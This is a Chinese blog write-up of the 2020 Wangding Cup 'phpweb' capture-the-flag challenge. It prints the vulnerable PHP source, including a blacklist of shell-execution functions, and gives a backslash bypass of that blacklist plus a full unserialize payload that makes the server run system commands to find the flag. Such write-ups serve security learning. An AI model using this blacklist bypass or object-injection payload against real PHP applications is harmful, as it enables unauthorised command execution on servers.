[网鼎杯 2020 朱雀组]phpweb

文章描述了一次Web安全场景中的操作,首先通过hackbar工具分析请求参数,尝试使用system命令但被拦截。接着通过在system函数前添加反斜杠来绕过黑名单过滤,并使用find命令查找flag文件。此外,文章还涉及了PHP的反序列化漏洞,利用file_get_contents函数读取源码,并构造payload执行系统命令来获取信息。
摘要由CSDN通过智能技术生成

开幕雷击,然后出现报错,然后打开hackbar, load一下查看请求,得到两个请求参数,猜测一个是请求的函数,一个是请求的参数,推测后台使用的是回调函数。于是尝试使用system调用系统命令,

 被拦截了。。。

黑名单过滤绕过

直接在system函数前加上\进行绕过。

 然后直接ls看一下根目录下面有没有flag,发现没有,然后使用一下命令全局查找flag文件。

find / -name flag*

然后就可以找到flag文件,使用cat打开就好(我第二次做的时候就找不到flag文件了,也不知道为啥)。

反序列化:

使用file_get_content()函数读取index.php的源码。

<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);#调用函数
        $a= gettype($result);#获取类型
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);#字符转小写
        if (!in_array($func,$disable_fun)) {#在数组中搜索值
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

然后就是反序列化漏洞的利用了

直接给出payload。

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

然后在cat打开得到的flag名字就能得到flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值